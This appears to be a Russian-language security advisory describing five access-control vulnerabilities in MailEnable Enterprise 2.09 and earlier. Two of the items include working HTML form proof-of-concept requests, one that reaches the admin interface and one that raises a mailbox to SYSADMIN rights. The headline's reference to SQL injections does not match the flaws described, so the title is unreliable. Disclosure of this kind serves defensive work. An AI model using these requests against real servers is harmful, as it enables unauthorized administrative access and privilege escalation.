Xakep #305. Многошаговые SQL-инъекции
Программа: MailEnable Enterprise 2.09 и более ранние версии.
Обнаруженные уязвимости позволяют удаленному пользователю обойти ограничения безопасности и повысить свои привилегии на системе.
1. Удаленный пользователь может получить доступ к определенным возможностям административного интерфейса с помощью специально сформированного POST запроса к сценарию "/meadmin/base/enterprise/lang/EN/main.asp".
Пример:
<FORM NAME=FrmMain ACTION="http://[URL]/meadmin/enterprise/lang/EN/main.asp" METHOD="POST">
POSTOFFICE <INPUT NAME=POSTOFFICE TYPE="text" VALUE="postmaster">
<br>
<input type=submit>
</FORM>
2. Уязвимость существует из-за недостаточной обработки входных данных в параметре "LoginRights" в сценарии "/MEWebMail/base/default/lang/EN/MailOptions.asp". Удаленный пользователь может изменить тип своего почтового ящика на "SYSADMIN".
Пример:
<FORM METHOD="post" ACTION="http://[URL]/MEWebMail/base/default/lang/EN/MailOptions.asp? SelectedIndex=1&FormAction=Edit">
<TABLE BORDER="0">
<TR><TD>Current Password:</TD><TD><INPUT name=LoginPassword VALUE=""></TD></TR>
<TR><TD>New Password:</TD><TD><INPUT name=NewLoginPassword VALUE=""></TD></TR>
<TR><TD>Confirm New Password:</TD><TD><INPUT name=ConfirmNewLoginPassword VALUE=""></TD></TR>
</TABLE>
<INPUT NAME="LoginDescription" VALUE="Login description">
<INPUT NAME="LoginRights" VALUE="SYSADMIN">
<INPUT NAME="LoginStatus" VALUE="1"><BR><BR>
<INPUT type=submit value="UpTime!"></FORM>
3. Уязвимость существует из-за недостаточного ограничения доступа к сценарию "/MEWebMail/base/default/lang/EN/Forms/MAI/Resolve.asp". Удаленный пользователь может создать произвольные email сообщения в папке draft других пользователей.
4. Уязвимость существует из-за недостаточного ограничения доступа к сценарию "/MEWebMail/base/default/lang/EN/Forms/MAI/UploadAttachment.asp". Удаленный пользователь может загрузить произвольные файлы в папку "draft" любого пользователя. Файл будет сохранен как "myupload.ams".
5. Уязвимость существует из-за недостаточной ограничения доступа к сценарию "/MEWebMail/base/enterprise/lang/EN/Forms/vcf/uploadcontact.asp". Удаленный пользователь может загрузить произвольные файлы в папку "draft" любого пользователя. Файл будет сохранен как "_myupload.csv".
